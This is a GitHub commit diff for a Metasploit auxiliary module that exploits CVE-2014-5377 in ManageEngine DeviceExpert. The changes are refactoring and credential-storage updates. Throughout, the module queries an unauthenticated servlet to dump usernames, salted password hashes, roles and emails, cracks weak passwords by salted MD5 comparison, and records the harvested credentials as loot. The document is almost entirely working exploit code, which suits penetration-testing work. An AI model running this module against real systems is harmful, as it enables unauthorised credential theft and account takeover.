Skip to content

Commit 5f6e845

Browse files
committed
Clean up and use Metasploit::Credential
1 parent 6cad5d9 commit 5f6e845

File tree

1 file changed

+76
-29
lines changed

1 file changed

+76
-29
lines changed

modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb

Lines changed: 76 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -29,9 +29,9 @@ def initialize(info = {})
2929
],
3030
'References' =>
3131
[
32-
['EDB' => '34449'],
33-
['OSVBD' => '110522'],
34-
['CVE' => '2014-5377']
32+
['EDB', '34449'],
33+
['OSVBD', '110522'],
34+
['CVE', '2014-5377']
3535
],
3636
'DisclosureDate' => 'Aug 28 2014'))
3737
register_options(
@@ -48,17 +48,17 @@ def check
4848

4949
def get_users
5050
users = nil
51-
vprint_status "#{peer} - Reading users from master..."
52-
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet')
51+
vprint_status("#{peer} - Reading users from master...")
52+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet'))
5353
if !res
54-
vprint_error "#{peer} - Connection failed"
54+
vprint_error("#{peer} - Connection failed")
5555
elsif res.code == 404
56-
vprint_error "#{peer} - Could not find 'ReadUsersFromMasterServlet'"
56+
vprint_error("#{peer} - Could not find 'ReadUsersFromMasterServlet'")
5757
elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/
5858
users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)
59-
vprint_good "#{peer} - Found #{users.length} users"
59+
vprint_good("#{peer} - Found #{users.length} users")
6060
else
61-
vprint_error "#{peer} - Could not find any users"
61+
vprint_error("#{peer} - Could not find any users")
6262
end
6363
users
6464
end
@@ -68,45 +68,92 @@ def parse_user_data(user)
6868
username = user.scan(/<username>([^<]+)</).flatten.first
6969
encoded_hash = user.scan(/<password>([^<]+)</).flatten.first
7070
role = user.scan(/<userrole>([^<]+)</).flatten.first
71-
email = user.scan(/<emailid>([^<]+)</).flatten.first
71+
mail = user.scan(/<emailid>([^<]+)</).flatten.first
7272
salt = user.scan(/<saltvalue>([^<]+)</).flatten.first
7373
hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first
74+
pass = nil
7475
['12345', 'admin', 'password', username].each do |weak_password|
7576
if hash == Rex::Text.md5(weak_password + salt)
76-
print_status "#{peer} - Found weak credentials (#{username}:#{weak_password})"
77+
pass = weak_password
7778
break
7879
end
7980
end
80-
[username, hash, role, email, salt]
81+
[username, pass, hash, role, mail, salt]
8182
end
8283

83-
def run
84+
def run_host(ip)
8485
users = get_users
8586
return if users.nil?
87+
88+
service_data = {
89+
address: rhost,
90+
port: rport,
91+
service_name: (ssl ? 'https' : 'http'),
92+
protocol: 'tcp',
93+
workspace_id: myworkspace_id
94+
}
95+
8696
cred_table = Rex::Ui::Text::Table.new(
8797
'Header' => 'ManageEngine DeviceExpert User Credentials',
8898
'Indent' => 1,
89-
'Columns' => ['Username', 'Password Hash', 'Role', 'E-mail', 'Password Salt']
99+
'Columns' =>
100+
[
101+
'Username',
102+
'Password',
103+
'Password Hash',
104+
'Role',
105+
'E-mail',
106+
'Password Salt'
107+
]
90108
)
91-
vprint_status "#{peer} - Parsing user data..."
109+
110+
vprint_status("#{peer} - Parsing user data...")
92111
users.each do |user|
93-
record = parse_user_data user.to_s
94-
unless record.join.empty?
95-
report_auth_info(
96-
'host' => rhost,
97-
'port' => rport,
98-
'sname' => (ssl ? 'https' : 'http'),
99-
'user' => record[0],
100-
'pass' => record[1],
101-
'type' => 'hash',
102-
'proof' => "salt: #{record[4]} role: #{record[2]} email: #{record[3]}",
103-
'source_type' => 'vuln'
104-
)
105-
cred_table << [record[0], record[1], record[2], record[3], record[4]]
112+
record = parse_user_data(user.to_s)
113+
next if record.join.empty?
114+
115+
user = record[0]
116+
pass = record[1]
117+
hash = record[2]
118+
role = record[3]
119+
mail = record[4]
120+
salt = record[5]
121+
122+
cred_table << [user, pass, hash, role, mail, salt]
123+
124+
if pass
125+
print_status("#{peer} - Found weak credentials (#{user}:#{pass})")
126+
credential_data = {
127+
origin_type: :service,
128+
module_fullname: self.fullname,
129+
private_type: :password,
130+
private_data: pass,
131+
username: user
132+
}
133+
else
134+
credential_data = {
135+
origin_type: :service,
136+
module_fullname: self.fullname,
137+
private_type: :nonreplayable_hash,
138+
private_data: "#{salt}:#{hash}",
139+
username: user
140+
}
106141
end
142+
143+
credential_data.merge!(service_data)
144+
credential_core = create_credential(credential_data)
145+
login_data = {
146+
core: credential_core,
147+
access_level: role,
148+
status: Metasploit::Model::Login::Status::UNTRIED
149+
}
150+
login_data.merge!(service_data)
151+
create_credential_login(login_data)
152+
107153
end
154+
108155
print_line
109-
print_line "#{cred_table}"
156+
print_line("#{cred_table}")
110157
loot_name = 'manageengine.deviceexpert.user.creds'
111158
loot_type = 'text/csv'
112159
loot_filename = 'manageengine_deviceexpert_user_creds.csv'

0 commit comments

Comments
 (0)